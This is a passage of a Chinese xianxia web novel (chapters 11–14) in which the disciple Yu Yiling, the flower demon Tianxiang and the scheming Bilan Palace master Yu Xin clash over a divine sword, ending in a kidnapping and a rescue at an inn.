而符道偏向于用符咒阵法斩妖除魔,要求弟子天生资质,根骨上乘,否则难以领悟符道精髓,所画符咒也是法力低微,更难克敌制胜。
游奕陵正与一众弟子同坐,分明是一身檀紫隐纹宗门公衫,却让他独特于众人之外。半垂着长睫,眸似碧水幽潭。脸上没什么表情,有些懒懒的。以手支颐,不知在想些什么,仿佛心智沉浸于开悟,微微出神,漠然与世界隔离。
他根骨清晰,天元开明,不但适宜修行符道,在丹道上也颇有进境。云天真人修行几十载,百余年前,自天剑门脱出而自立丹宗门户以来,竟再也遇不见第二个根骨似他这般清晰的弟子。
“奕陵,最近修为进境如何?”真人呵呵一乐,欣赏的看着自己的徒弟。
“一直停留在锻体境圆满,没有任何突破迹象。”冷淡的声音似银瓶乍破,带几分悦耳。
云天真人目中生慧,笑容不变,“奕陵,修为进境之事,不可操之过急。越是心有杂念,妄图精进,便越是适得其反。心有念而忽之,终日修炼,未必是件好事。”
游奕陵目光微微一动,垂首低眉,青丝落几缕身前,挂在肩头,“奕陵受教,谢师父指点。”
真人点了点头,继续说着,“明日,梅溪镇举办拍卖市集。若是修为难破困滞,不妨出去转转,一可放松心境,二可寻求其他突破机缘。”
“是,师父,奕陵告退。”他沉吟片刻,淡声道。
次日,梅溪镇上繁荣,不少丹修早早的支起了摊子,易物售卖各类灵丹妙药、奇花异草和秘宝神器。今天是拍卖市集开张的日子,除去各丹宗弟子,还有不少其他宗派修士蜂拥而至。
游奕陵在市集间不疾不徐的走着,一袭绛色锦衣,腰间缀一块南明玉,下摆墨竹晕染暗纹衬的他风姿清丽。他穿过众人,面容莹白如玉,仍是一副淡漠表情,长眸扫视,忽的眸色幽晦,定定的望着一处半晌。
只见一张不起眼的摊位上竟有丹道孤本《阴水录》,此乃水凝丹药之法,摈弃传统火炼术,世间罕有。他走近摊位,来了兴趣。
摊位主人是一位模样温婉的女子,她微微一笑。乌发别的玉簪上嵌着一颗沧浪寒石,灵息氤氲,有助凝气修炼之效,远远望去,流光温润,盈盈如水。
再看她一身茶白素雅弥恒派长袍,气质温婉几许,原来是与天璇齐名的弥恒宗新秀弟子孙昭。
游奕陵看那孤本,沉声道:“拍卖市集上,竟能见到《阴水录》,不知阁下如何才肯割爱?”
孙昭一怔,而后略带歉意的又温柔的笑了笑,“道友,实在抱歉,这是我弥恒派独门丹术,不外传。我一时大意未曾收起来,放在摊位上这才造成了误会。”
既是无缘,不必强求。游奕陵淡淡点了点头,随即转身离开。
他这一度停留,正欲离去。远处天香则终于在人群之中寻觅到了那个熟悉的身影。
天香眨着眼睛,不自觉的伸首,好在人群看清他踪迹,眼中闪过一丝欣喜,三步并作两步上前,到他身后却又不敢说话。
直到他转过身来,她唇边才缓缓展开一抹笑意,脆声道:“当日一别,许久不见了。”
11. 第 11 章
游奕陵也是一愣,没料她突然出现,有些意外。
他细细打量她片刻,顿了顿,才淡淡道:“你为何来此?”
“我有些私事要与你谈。”她看了看四周,转念一想,自己毕竟要带碧岚宫的人过来,便又压低了声音。
“碧岚宫主想见见你,此地只怕有些不便,不如……”天香微微一笑,明眸善睐。
听到碧岚宫几个字,他只看她一眼,便拂开她的手,“那就不要谈了。”
游奕陵长发黑若流缎,依旧是熟悉的薄幸眉眼,如空中明月。
她笑容瞬间凝滞,片刻后,只觉面皮微微胀红。虽说被拒绝是意料之中,但没想到会如此彻底。
天香咬了咬下唇,“等等,你就不想听听是为什么?”
本以为再见,两人总能和气的说上几句,结果看他离去,才知道和之前也没什么区别,心里好似饮水,有些寡淡无味。
心中来气,本想就此作罢,又有些不甘,她复追了上去,偏要他理理自己。
她边跟着,一边解释道:“碧岚宫主与云天真人是故友,但已多年未见,想请你引见叙叙旧,你这人怎么不听人说话。”
游奕陵长眸沉沉,突然停下,低声道:“不必了。还有,你还敢出现,此刻不比从前。你若有歹心,我不会放过你。”
她瞪大双眼,心头有些酸涩,又有些气闷,“为什么怀疑我,就因为我是妖吗……”
天香心头一沉,低垂下头。明知他从不在意别人感受,所以随便说些什么就言语刻薄,不该有什么侥幸。
但听他如此平静道出......还真是伤人。
他看她几眼,又撇开目光,继续走,“你和我不是一路。”
听闻此话,她心中涩意非常,直后悔不该来找他。
“你……”她气的跺脚,平日里从不会这样,见了他不知为何,就变得极笨,呆滞在原地,张了张嘴却说不出话。
他没有再说,飘逸的衣角带过冷香,自她身边掠过。
她只是怔在原地,忘了要同他说什么,也忘了他方才刺耳的话,脑中只余下他那双眉眼。
又觉得自己不争气,心里委屈,眸色黯然,眼眶微红,低垂下眼,不知还要不要继续跟上去。
此时,余信站在不远处,目光望向这里。
他早就料到这只小小花妖恐怕完成不了任务,反正他也只是借她带个路,如今人已找到,她是去是留,都与他无关。
看模样那人族只是个锻体境,不成威胁。当务之急,他要尽快试试这个人能否拿起神剑。
“你去不远处江上备一艘画舫。”他低声吩咐下属。
市上修士云集,来来往往中,余信忽的上前,伸手将游奕陵拦下。
游奕陵停住脚步,此人虽是面带笑意,眼中却若有若无阴险之色。眉间有残存魔息,身上服饰是碧岚宫的花纹,他长眉微敛,不着痕迹的避开“碧岚宫的人?”
天香微微一怔,面上一僵,咽了一口水,“这是碧岚宫主余信,就是我方才与你说的,云天真人故友。”
糟了,不是说了等她先说好吗,这下余信直接现身,恐怕游奕陵不会搭理他了。
碧岚宫主是何等高手,魔族修士中仰仗于此宫的也不在少数。她知他性格有些孤僻,说话刻薄,一心都在修道和宗门上。此刻二人直接见面,但若是得罪了余信,只怕够喝上一壶。
他这样这般不客气,一定会被人整治。不对,他方才那样对她,就是死了,又和她有何干系,可她……
她心焦了半晌,他只是眸色淡淡,声音无甚起伏的回道:“从未听师父提起,你算哪门子的故友?”
余信仍是笑着,“既然这样,我直接找云天真人便是。天璇宗所在我还是知道的,与贵宗掌教也许久未见了,现在是早课的时辰,山门弟子众多。”
他也懒得浪费时间,游奕陵如果不肯与他谈谈,他就直接去天璇宗,至于门内弟子的安危,就无法保证了。
天香看着余信的笑容,没读出其中深意,但总觉得有什么不对劲,小声道:“便是去天璇宗山门也不一定见得到掌教人,他有时不在门中。”
她有些后悔答应余信此事,但如今骑虎难下,也没别的办法。
游奕陵脸色登时有些难看,忽的站定,眸色微暗。长眉一簇,还未动手,肃杀之气陡然凛冽。远处树影稍晃,惊起枝头栖鸟。
他脸色冷冷,“碧岚宫主,这是欺负我天璇宗无人。”
孙昭坐在摊位上,看着远处那名离去的男子。她的目光忍不住被他吸引,仅是一眼便挪不开视线,不由得出神。
他认得《阴水录》,应该是丹宗弟子,见他根骨不凡,或是符修,不知是哪位高手。
她远远看着,脸上渐渐露出疑惑的神情。方才他面上没有表情,即便被回绝也毫无反应,此刻不知被何事缠上,惹得他这般生气。
天香吓了一跳,不知发生了什么,见奕陵就要拔剑,忙作安抚,“......碧岚宫主只是想见见故友,你何必如此为难呢?”
她只觉得气氛的压抑要命,若是他因此与碧岚宫结仇,出了什么事,她可就真的对不起他了。
见天香帮自己,余信微微挑眉,觉得好笑,这只花妖单纯的很。又看游奕陵一眼,面色有些不善,“阁下这是什么意思?”
余信望了一圈附近摊位,唇角微微勾起“我只是觉得,今日与阁下有缘,请前往附近画舫一叙。更何况贵宗掌教此刻不知在何处,还需要你带我见见他。”
游奕陵长眸冷凝,淡淡扫过四周,见起码有五、六名境界不低于藏胎的弟子藏于暗处。余信见他发觉,也不做掩饰,面上笑意更深。
天香站与二人之间,游奕陵身侧。眼中露出担忧,只觉得这碧岚宫主像个笑面虎,但如今仍不知他目的,况且当初只和她说是为故友相见,如今怎的......
游奕陵微微垂眸,过了片刻,才抬眸缓缓道:“走吧。”
一声脆响后,细雨连绵而下,雨声轻轻。
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>不远处的清江画舫之上,余信和几名下属正坐等来人。雨水敲打在画舫屋檐,又落在檐角上,积蓄出一个浅洼缓缓滴下。
自江上远远向岸边望去,竟有朦胧之感。岸上,雨水隔离于一个淡淡光晕罩外,并不影响市集。
“坐。”天香与游奕陵一同来了,余信心情大好,吩咐下属招待。
天香依言坐下,游奕陵定定的看了几人一会。仍是一幅漠不关心的样子,长睫半垂,不知在想些什么。
方才几名碧岚宫高境弟子都站在一旁,因为要拿出昆仑雪,人多眼杂,肯定不便在市集,但此地只余他二人,若是出事也会孤立无援。
余信微微一笑,和颜悦色,直切正题,“你便是那日堂中献剑之人,请问阁下,还记得那柄名为昆仑雪的神剑吗?”
游奕陵面色淡淡,微微点了点头。
余信面带笑意,继续说道,“实不相瞒,这把剑本是我碧岚宫所有,由宫主传承。但神剑择主,鲜少有魔族能拿起这把剑,我看你与此剑有缘,不如试一试。”
他几不可闻的皱了皱眉,淡淡扫余信一眼,“既然如此,宫主何不自己持剑。”
余信面色微变,他最讨厌别人说他拿不起此剑,若非赤地千里那两个老妖怪难斗,他也不必寻此人带回去当做剑侍了。
罢了,先留着那两个老妖怪替碧岚宫卖命,此刻境地还是莫要节外生枝为妙,他就再忍一忍。
他眸色一暗,“怎么,你不想试试神剑?”
天香听着他二人对话,心中疑云满布,本该是求他带着见一见云天真人,为何话题扯到了昆仑雪上,献宝宴既然已经结束,剑也被碧岚宫所得,与奕陵又有什么关系。
画舫外细雨绵绵,虽是一派清幽美景,雨声却听的人莫名心焦。
她忍不住出言道:“既然是请他引路寻云天真人的,和这些事又有何干,宫主大人难道不想早日见故友?”
余信面上笑意不减,“他与我相识已久,心灵相通,不需我去找他,他自会来见我。”
天香听得云里雾里,但觉得此人心有其他盘算,恐怕不为见云天真人而来,她不由得闷闷,只知碧岚宫在魔族中算排得上名号的大派,却从不知宫主竟是这般。
这样想想,她还是不要去碧岚宫了,否则以她小身板,进去可能被吃的骨头都不剩了。
余信见奕陵皱眉不语,反而哈哈大笑,“你与此剑有缘,若能通剑意,我便请你去碧岚宫做客。赠你仙草灵石,珍稀功法,你自可取了回到天璇宗。”
他一番话平和道出,心中却冷笑,如果此人能通剑意,便抓回去当个助他坐稳位子的傀儡,先抛出诱饵,想必作为一名人修,这等条件无法拒绝。
天香闻言一怔,原来碧岚宫主根本不为见天璇宗掌教人,分明是要奕陵入宫试一试昆仑雪。那日她与他一同献宝,那把剑确实有异样之色,引发剑鸣。
听闻神剑择主,莫非......他是剑主?
游奕陵却面色冷然,“消受不起。”
12. 第 12 章
天香有些意外,这等丰厚条件他居然拒绝。碧岚宫是魔界大派,根基稳固,势力盘根错节,其中珍藏仙宝也数不胜数。
况且人族天生短寿,要在问道之路上有造诣,需快速突破境界。境界共分引气、锻体、炼骨、养神、藏胎、窥虚、混元、开天、合道九种,每种境界又分三个小阶段。
路漫漫而进境难,这等好事,旁人都强求不得,他若是答应去这一趟,想必能得到不少提升。
余信微微一笑,也不惊讶,“可惜了,你虽与神剑有缘,却是不够审视时度。”
他也不强求,此人不多锻体境,区区天璇宗乡野修士,心高气傲,软硬不吃,不适合当傀儡,他直接一刀杀了便是。
虽然不知他到底能否操控神剑,但也绝不能留与赤地千里两人,否则若是被他们寻得,届时万一影响自己宫主位子,后患无穷。
余信话音一落,四周碧岚宫弟子便缓步靠近,似有若有若无的斜风吹着细雨进窗,江面出现道道波澜,那是掩盖不住的魔息激荡所致,几人将天香、奕陵包围在中心。
……
魔界转轮城,观澜阁内。
紫阁丹楼,茂林修竹,湖面无波似镜,正是清景无限。
衍决坐在湖中亭上,执杯独饮。远远看去,移步换景,彷佛一幅不断变化的山水墨画。
一个魔修弟子上前,“城主,碧岚宫的人带着昆仑雪往人界梅溪镇去了。几人在清江一艘画舫之上,已停留许久。”
衍决点了点头:“即刻通知平等城,可从水路包围,前往夺剑。”
他举起一杯酒,微酌一口,周身萦绕淡淡棠花香。细看双眸闪过一丝凌厉,只有长长的睫毛垂下时,才掩去了寻常人少见的锐光。
……
余信一挥手,宫众一齐上前,刚走出几步,突生变故。
只听江中由远及近传来一声闷响,画舫板木弯曲,逐渐不堪重负,最后竟生生从中折断裂开!水中出现一个漩涡,从中跳出几名魔修,正是平等王手下之人。
那几名魔修头领上前喊道:“余信,你这个卑鄙小人!献宝宴上夺走昆仑雪,别以为逃来这里,我们便寻不着你。”
余信听了也不由得怒从心起,他分明是为找此人修而来,此行秘而不宣,他们到底从哪里知道的消息,果然,他早知宫众对他不服。
这暂且不说,如今只得先将此事放在一边,将平等手下的魔修打退。
余信立于江上,嘲讽道:“是你们功法不行,没认出千里,反倒怪我头上来?妄想吞并碧岚宫,简直痴心妄想。”
“哼,碧岚宫不过苟延残喘,待我夺回剑,便踏平此宫。”
两队人马说了几句,便剑影纷飞,魔雾陡显,在江上缠斗打了起来。
天香骇然,这些人总是一言不合就开打,她弯腰堪堪避过魔刃,却是不慎落水。慌乱之中忙不迭抱住半块浮木,不肯松手。她不会御水术,若是掉入江中......
游奕陵提气御江上,侧身避开无眼剑锋,衣袂不曾沾水。细雨夹风,他高束的发丝被微风吹起,长眉斜飞入鬓,眸光锐利,这个角度露出略有些纤细的下巴弧线。
只见江水沉浮,她抱着浮木飘摇不定,眼看就要落水。她吓得紧闭双眼,双手使力,身子再往上缓缓挪半分。
游奕陵垂眸看她一眼,御气上前将她抱起,远远离开纷扰之地。天香微微一怔,觉得有些难堪,悄悄躲开他的视线。却又不得不的抱紧,怕摔下去。
别过脸,下巴轻轻搭他肩头,这才发现沾湿的衣衫早已被施法重作干透,心头不知为何竟跳的有些快。
远处,拍卖市集上。
不少修士见江面上波浪翻滚,似有魔息陡增。逐渐三五成群聚集起来,要去江面上探探情况。几名身手不凡的修士以孙昭为首,一同闻声往江心飞来。
孙昭远远看见江上魔息萦绕,面露忧色。她本长得温婉,此刻微微皱眉,显几分娇柔,“糟了,果然有魔族出现,远处天璇宗两位道友受困,我们还得速速前去营救。”
可她也不是什么头领,不过这么喊了一句话。再加上看她也不似会打架的人,几名修士纷纷不愿,毕竟那魔修厉害得很,万一贸然前往丢了性命。
“道友,我等境界低微,还是先观望为妙,已经有弟子传音去喊其他高境修士了。”
孙昭本是一副婉约的面孔,见这几人婆婆妈妈的,连这都不肯。她气上心来,竟忽的柳眉横折,与方才两幅面孔。
她几乎是愠怒道:“等别人前来万一来不及,再说了,就只是在周围探查,你们这便怕了,那我一人前去!”
众弟子皆是一愣,面面相觑。没想到她一身素白衣衫,说话轻柔。看着温柔美人,脾气却是几分暴躁。
孙昭一时心急,见几人神色,察觉自己失态,清咳一声,忙收敛神色,目移道:“你们几人,还不速速跟上来?”
说罢她御剑而去,剩下几名人修怕她一人出事,也没再说什么,只好一起尾随。
余信一看人愈来愈多,不光有平等王部下,现在不少人族修士也掺和了进来。当下还是先撤离,明哲保身,但今日他一定要完成此事,不想再拖。
他施法在江心布下一个法阵,那漩涡再次出现,且愈演愈烈。
为防止这几名人修不识好歹阻止他离开,他淡淡扫视四周,见游奕陵怀中的天香,那名花妖境界低微,正是下手合适人选。
不带犹豫,余信隔空一掌向天香袭去,掌风凌冽,逼迫人退后。游奕陵面上冷淡,双眸微眯,侧身欲躲。
这一掌下去,他即刻狡猾的后退入阵。游奕陵则微微皱眉,正欲躲开此掌风,却见一个熟悉的身影持剑挡在自己面前。
孙昭面露急色,持剑上前。见游奕陵怕是躲开不及,受此一掌必然带伤。她凝气为光,欲挡下魔掌。
谁知那掌风刁钻,破光而出,一把扼住她咽喉,大力将她拽走。孙昭来不及呼喊出声,便被余信带着,几人一同飞入江心阵漩涡淹没,身影消失不见。
平等王手下的人一看对方布阵逃跑,便紧随其后,也一并跳入水中不知去向。
远处孙昭师父,也是弥恒派掌门嵩山道长正与云天真人一同赶来。云天真人如临大敌,神色冷然,“这魔族气焰太嚣张,竟敢掳走弥恒派弟子,我探查他们去往何处,众人即刻前去救援。”
嵩山道长望着远方,语带愤恨,“你我晚了一步,害得昭儿糟逢此劫......”
“魔界如今动荡不安,势分多股。听闻都是为了夺取一把神剑昆仑雪,想必日后人界、仙界也会受波及。”
嵩山道长点了点头,“嗯,还请各派修士出门都多加小心,人界近来不甚太平,莫再滋生事端。”
云天真人掐指一算,正色道:“那只是个小型挪移阵,他们往西南边去了。”
“西南方向,不正是天璇宗所在地吗?”嵩山道长缓缓道。
游奕陵带着天香回岸上,眸光幽晖,未等她站定便出口问道:“你来找我做什么?”
如今事态失控,天香知自己理亏,声音低几分,“他说与云天真人有几分交情,找你是为了见见故友,没成想......”
见他冷着脸不说话,虽说她有错,可他们毕竟相识一场,也不该这么对她。她压下心中情绪,撅着小嘴道:“再说了,他堂堂碧岚宫主,手下高手无数,让我带路寻你,我又有何拒绝的余地?”
本来她对碧岚宫尚且抱有几分幻想,想着若能借此事成为宫中弟子,她的修炼说不定就有救了。如今宫主竟是骗她一场,她心中也低落几分,看来这碧岚宫不去也罢。
况且他二人许久未见,本以为重逢总能说上几句好话,谁知他根本不想见她,枉她心
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中念他,倒是她自作多情,不如回香溢斋。
想到这里,她就心头涩意突生,不觉间眼眶微湿。
“你每次出现就没好事,这等拙劣的借口也就骗你。”他声音冷淡,又有丝不屑,只听得天香怒从心起。
她知他瞧她不起,如今再见,倒是她强求了。可如今这般局面,也不是她想的。偏生他眼中不掩冷淡,看她就像个陌生人。
原本她心中还有几分歉意,如今却也愤懑不已,念着他救她几次,此刻也压不下火气,冷笑道:“师兄好大的火气,我已经说过了,此般境地非我所愿。”
游奕陵冷着脸,懒得再回话,准备随众人向西南方追随魔修,竟仿佛将她当成了个隐形人,“莫再多说,你去岸上找那群修士,我要去救那弟子。”
“你!”
说几句他就要离去,似是一刻不想与她废话。
天香忍无可忍,只觉气血直冲天灵盖,牙根痒痒,“好啊,既然你这么不想见我,我走就是!”
她这就回香溢斋,日后他的事情与她再无半点关系,这幅目中无人的样子,只怕把她当成什么居心叵测的妖修,她也不必在此自讨没趣。
只是她正要走,他却上前,一把攥住她手腕,微微用力,“你去哪里?”
“自然是回香溢斋,你放开我。”她吃痛却甩不开手,气的面色微红。
他只是定定看着她,手也不松开。僵持半晌,她压抑怒意,半晌,被他盯得有些害怕,心生怯意,只得先妥协,“你攥的太紧了,放开我吧......”
天香心中仍有气,但此刻她脱身不得,只能先说几句软话,待他前去救援弟子,她便回香溢斋,到时候山高路远,就是再有一万个碧岚宫主找她,她也不可能再来见他。
他竟垂下长长眼睫,松开了手。
怕他再度反悔,她又只得揉着手腕,耐着性子道:“你既然不想见我,又何必强留?我这便回香溢斋去了,你去寻那弟子吧,听闻那是弥恒派女弟子,早日找回也可确保她安危。”
他忽的不回话,天香只得硬着头皮继续说:“我境界低微,去了也是拖后腿。还是你一人前去较为稳妥,你自己小心,我先告辞了。”
说完,她转身便要走,去寻附近秘点。此刻也有些落寞,恐怕他心里永远没有自己的位置,还是早日划清界限为妙。
只听他淡淡道:“慢着。”
她有些不解的回过头去,却发现他竟离的极近。较她高出许多,此刻抬头一下子望进他眼中,只觉得长眸深邃,她一下不安起来。
心跳莫名加快,她被他冷冷盯着,心底一阵慌乱。
“还有何事?”
他忽然上前,伸手扣住她腰,揽着御上一柄飞剑,他离得极近,那声音就在耳边:“我怎知你与碧岚宫是不是共谋,你与我一同去。”
说着,他也不问她是否同意,径直抱起她,便往西南方飞去。
此人真是莫名其妙,她本可以回香溢斋,再也不必见他,岂料他忽的变卦。
要她走便走,要她留便留,当她是随口呼唤的仆役?
还怀疑她与碧岚宫是共谋,她只不过是轻信了宫主的话,三番五次解释,还要她怎样。再说了,他既然不信,说再说也是无用。
天香觉得心中来气,又怕他几分。心中怒意发泄不得,简直快要七窍生烟。她也不管会不会落水,怒骂道:“游奕陵,你放开我!”
破空江上风大,她胡乱拍打在他身上,他依旧无动于衷。
孙昭醒来之时,心中闪过一丝惊讶。本以为她凶多吉少,谁知浑身上下竟完好无损,没半处伤口。
她抬头,看屋内装饰,分明是寻常人家。周围灵息正常,一点不像在魔界。她闭上双眼,放出神念探查周围,此地居然仍在人界。
而且在天璇宗附近,竟是无相山脚底下!
13. 第 13 章
她身上虽没有伤口,此刻却被捆绳制住,乱动不得。远处正是余信和他手下几人,坐着谈论什么。
碧岚宫弟子见她醒来,出言警告,“别乱动。”
他不说也就算了,一说孙昭便忍不住了。
“我看你们也聪明不到哪去,跑到这天璇宗山脚不是自寻死路?哼,等师父赶来,你们想跑也晚了。”
孙昭骂的对方愣住,没想到她性子这般急躁,半点不像看上去的温娴。
余信没搭理她,淡淡道:“一阵慌乱,抓错了人,不过是谁都一样。”
他本想以天香为要挟,让那帮人追上来,将此事了结,一举两得。
虽抓错了人,也没什么影响,只是人质而已,那帮人还是会追来。
弟子上前,“代宫主大人,人族修士距此地已不足百里。”
“嗯。”余信望向远方。
不需一炷香时间,云天老儿便会赶到这里,也好,许久不见,先会一会他们。
平等王下属本以为余信会逃回碧岚宫,结果却扑了个空。
无奈,他们准备向平等王汇报情况,见雷大人正与转轮王在路亭中交谈,雷行听完后挥手让那几人下去,背手而立。
“如今碧岚宫藏胎境以上修士不足三人,余信又不在宫中,残兵不足为惧,一周时间便可拿下。”
衍决白衣半落委地,身侧萦绕淡淡棠花香,四肢伸长,坐姿惬意,似笑非笑,“这帮人不好降伏。”
碧岚宫如今式微,但剩下的都是忠心耿耿之人,如何收并这些魔修为自己所用,也是个难题。
衍诀手持玉骨扇,面容柔丽,长眸流转,眼底隐约可见赤黑焰纹流光火印。
他静静看远处碧岚宫,微微挑眉,玉骨扇一下一下在身旁沿栏上轻敲。
这股残余的势力最终会被谁收入囊中,就未可知了。
二人无端陷入一股静默。
一名下属忽然上前通报,片刻后,一名黑衣瘦长脸男子出现在眼前。
他长相普通,但右脸上一道深刻刀疤自眉间跨眼眸一直延伸到腮边,乍一看肃杀之意明显,实则是个忠厚老实人。
刀疤脸行礼下跪,不卑不亢道:“城王,我是香溢斋一名帮工,名唤贾勉。境界不过锻体,但仰慕您威名已久。若是可以进入平等城,我愿做任何事!”
雷行凝眸看他,又摇摇头,“境界太低,你还是修炼几年再来吧。”
他摆摆手,兴趣索然,正欲让下属将他带下去。
贾勉眉头一皱,眼看就要失去自荐机会。
衍决扫他一眼,忽的起身,玉骨扇一挡,制止了雷行。
他唇边带上一抹笑意,端详那个男子半晌。
衍诀眸色幽暗,将玉骨扇一折,指向远处,缓缓道:“修为不足,但为人忠实可信,或许可以干别的事。”
雷行愣在原地,思索他的话,“什么意思?”
衍诀打开玉骨扇,扇沿可见流光青红焰纹。长眸虽是温和,却让人看了无端生出寒意。
对视半晌,他收起折扇,依旧是那副云淡风轻的面孔,仿若方才是假象。
他笑着径自向外走去,“雷兄自行决断即可。”
待他走远,雷行沉默片刻,回忆刚才,他用玉骨扇指的地方是碧岚宫。
雷行终于理解他话中意思,低头吩咐贾勉。
“既然如此,你就埋伏去碧岚宫,何时夺取他们信任,我便收下你。”
贾勉感激不尽,低头行礼,“是。”
……
人界,无相山脚。
嵩山道长与云天真人已带着一众弟子追到山脚客栈外。
天香觉得脸上一阵红一阵白,又发作不得,被游奕陵一路强带着与众人来到此地。
此刻各门派掌门齐聚,若是和他吵起来,无数双眼睛看着,万一被看破妖修身份……
无奈,她只得咽下这口气。
她忍耐一路,郁着一张脸。刚一落地,便从他怀中跳开,躲远远的。
游奕陵凌空而落,足底剑影消散,只是淡淡看她一眼,向云天真人走去。
天香心中奇怪,他怎么和方才两幅面孔似的。细想想,或许是因为正事要紧吧。
游奕陵长眸微垂,拱手道:“师父,孙道友可有性命之忧?”
真人点了点头,“不必担忧,嵩山道长探查过了,她暂无大碍,此刻就被困在这客栈之中。”
正当众人商讨营救大计,客栈屋内,忽的飘出一道传音,正是余信的话语。
“让天璇宗弟子,游奕陵一人进来,不得有其余修士靠近。否则,你们就只能见她尸身。”
余信边传音,边闭上双眼,探查周围。
门外修士虽然人数众多,但高境者不过寥寥几人。只要避免正面冲突,将那个人族修士杀了就行。
云天真人眉目凝重,出言阻止,“魔修阴险狡诈,万不可孤身前往。”
嵩山道长也一脸严肃,“嗯,此事有待商榷。”
游奕陵缓作一揖,“师父不必忧虑,此刻危急,需快点救出孙道友。魔修不过几人,若有意外,我发号施令,众人一齐攻入便是。”
天香混在弟子群中,保持着不远不近的距离,听游奕陵和那几个老头子商量如何救孙昭的事。
他长睫微垂,虽仍是一副淡漠表情,眼神却略有复杂,口中说着什么,隔的有点远,只隐约听见,他要孤身前往。
侧面
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看去,他身姿高挑拔挺,头顶青丝若流缎,束进竹玉冠,冠上有侧卧半弦月,似破流云而来。
雕竹是通透无暇的墨黑,泛着莹莹冷辉,并非凡品,还凝聚着一团灵息。
天香出神,若有所思。
这枚竹玉冠衬的他端方清雅,可真好看。可惜他一张俊逸出尘的脸,脾气却是臭极,还总透着不耐烦。
听闻他要孤身入客栈屋内救孙昭,想必没有功夫管她,那她直接回香溢斋不就好了。
可是他怀疑自己和碧岚宫是共谋,若是此时逃走,岂不坐实?
但仔细想想,他的想法又不重要,自己何必如此在意,被他牵绊......
越想越心里烦乱,罢了。
此事因她而起,将孙昭救出再离开吧。几番思索,天香终是打定了注意。
游奕陵看她一眼,她正暗自出神,忽的对上他的眼睛,心头觉得莫名难捱,天香忙别开脸去。
……
前堂,客栈小二心中是叫苦不迭。
不知从哪里冒出来一大帮修士,将此地团团围住,白白阻了生意。
听闻里屋还躲了几名魔修,没见过世面的他顿时连干活都有些畏手畏脚。
他正小心翼翼的向后院偷望,忽的被猛拍后背,吓得他摔了一跤。
天香一张脸出现在他头顶,狡黠的笑道:“后头那间屋子,有没有后门可以进入?”
他愣住,这个姑娘看着有些熟悉,明眸皓齿、眉目清秀,眼中似有盈盈秋水。
他半晌才回过神来,指了个方向。
天香道谢一声便离去。
小二心中纳闷,他记起来了。算上这次,这姑娘总共来了两回,却次次没好事。
第一次喝酒到半夜,还没钱住店。如今第二次,直接带来一帮修士,她到底是什么人……
……
天香顺着小二指的方向一路绕到那间屋子后,远远的只听见有刀剑相交的响声。
屋子里白茫茫一片,又像有魔雾升腾,想必是游奕陵正用御剑之术与余信相斗。
碧岚宫主藏胎境修为,而她尚未引气,天香心底泛起一股害怕。
脑中只想着余信传音的那句,不得有其余人族修士靠近,一边说服自己,她既不是人族也不算修士,怕什么?
边走着,她悄悄打开后门进入,低着头尽量不发出声响。
只见不远处就是被捆绳制住的孙昭,她屏息凝神,慢慢挪动到她身后。
又听见一道重物摔落的声响,黑雾散去。
这时,她才看清屋内情景,只见余信站着,眼底闪过一丝杀气,袖袍一展,数张桌几倾倒。
他愤愤下令,“把这小子杀了。”
14. 第 14 章
趁其余修士还在外面,手中又有人质,今日就把这人族杀了。
游奕陵不敢大意,丢出一张金紫防御符。符咒顿时散发化形,一分为六束金光,又织成一座浮空巨盾,盾上隐隐现紫光。
金紫防御符本是普通符咒,但极少人能发挥其全力。若是施法者技巧高超,浮盾上便会出现紫纹,所以名唤金紫防御符。
谁知连紫纹浮盾也只能勉强挡住掌风,他眸色微沉,随时准备通知师父等人。
余信却忽的停止了攻势,碧岚宫弟子一齐围上来,露出饶有兴味之色,“你叫他们也没用,若你乖乖就范,我就放其他人一条生路。”
在场几人境界都很高,对敌恐怕死伤惨重,游奕陵传音的动作一顿。
孙昭气愤的喊,“谁放谁生路还不一定呢!”
余信哈哈一笑,不理她,看着游奕陵,“既不愿和我回碧岚宫,我也不会留你性命。”
余信出剑,丝丝黑雾舔舐剑身,这么近的距离,魔息直逼颜面,映出游奕陵长眉微蹙,双眸沉郁。
孙昭正盯着游奕陵余信相斗,心焦几分,天香偷偷替孙昭解开捆绳,“……是我,天璇宗的弟子天香,嘘,我替你解开。”
余信正当胜券在握,此刻掉以轻心。谁知下一秒,他身后弟子忽的神色一变,夺剑上前,反手刺向他!
“我是雷城主的人,余信,受死吧!”
剑光凌冽,冲向面门,夹杂魔息而来,余信闪身避开,反手拍出一掌,声带怒意,“凭你也想杀我。”
那人受伤,哼了一声,眼中惊愕一闪而过,几名碧岚宫弟子瞬间围攻上去,然而敌人十分棘手,那人也身手不凡。
余信面色一沉,原来他此行的行踪暴露,是因为有平等王的人混入其中,也不知是不是赤地、千里那两人联合外部为了压他。
方才要不是他及时躲开,现在已经身中一剑。若稍有偏差,轻则重伤,重则丧命,余信愤愤的手握拳。
天香稍稍检查孙昭伤势,料想并无大碍,将她解救出来。却见一道黑雾朝孙昭袭来,直逼颜面,眼看就要划伤,情急之下忙将她扑倒在地,这才躲了过去。
黑刃自头顶飞过,在后方墙壁划出一道深痕,透着黑气,看着可怖。
天香见她无碍,此刻众人无暇顾及她,低声道:“那几位魔修不好对付,你师父等人已经来了,现在就救你出去。”
孙昭心存感激,但此刻仍未脱离险境,几人不敢大意,她边点了点头,边观察战局,“好。”
那边碧岚宫众弟子正对敌叛徒,忽的一群修士闯了进来,竟是客栈外的云天真人、嵩山道人等人。原来几人见屋内魔息暴涨,便不等信号闯入其中。
一见众人无碍,竟是两名魔修缠斗夺剑,云天真人放下心来,嘲笑道:“魔修心性果然不稳,临阵内斗不免荒唐。”
嵩山道长眼中有轻蔑之色,“众人随我一同施法,救出受困弟子!”
——为何不跑?
天香骇然,谁在说话?她巡视整座屋子一圈,才微微一怔,转头看见游奕陵面色冷冷,眼中似有讶异,挑眉看着她,才发现他是传音入密同她说话。
她修为不及引气,不会传音密话。不知他又要说什么,只怕没什么好话。便只哼了一声,不去理他。
——难道,余信许你什么好处?可惜你计谋没能得逞。
他定定望了她半晌,深深皱眉,眼中带着探究,嘴角却勾起一抹嘲讽笑意。
天香瞪大双眼,他心里竟是这样想她的。她瞬间面色微红,气急几分。手将解下的捆绳捏的死紧,扭过头去。
孙昭滞住,不知发生了何事惹的她这般气愤,出言小声问道:“天香,你怎么了?”
天香闭了闭眼,那声音在脑中扰乱心神,又强去不掉,她低下头,压下情绪,闷闷回道:“我没事。”
——你方才若是出手帮他,便坐实了与魔修共谋的身份。
他神色中仍带嘲讽之意,静静看着她。
天香却索性不再受撩拨,怒形渐渐淡去。无妨,云天真人就在外头,孙昭已经脱离危险。
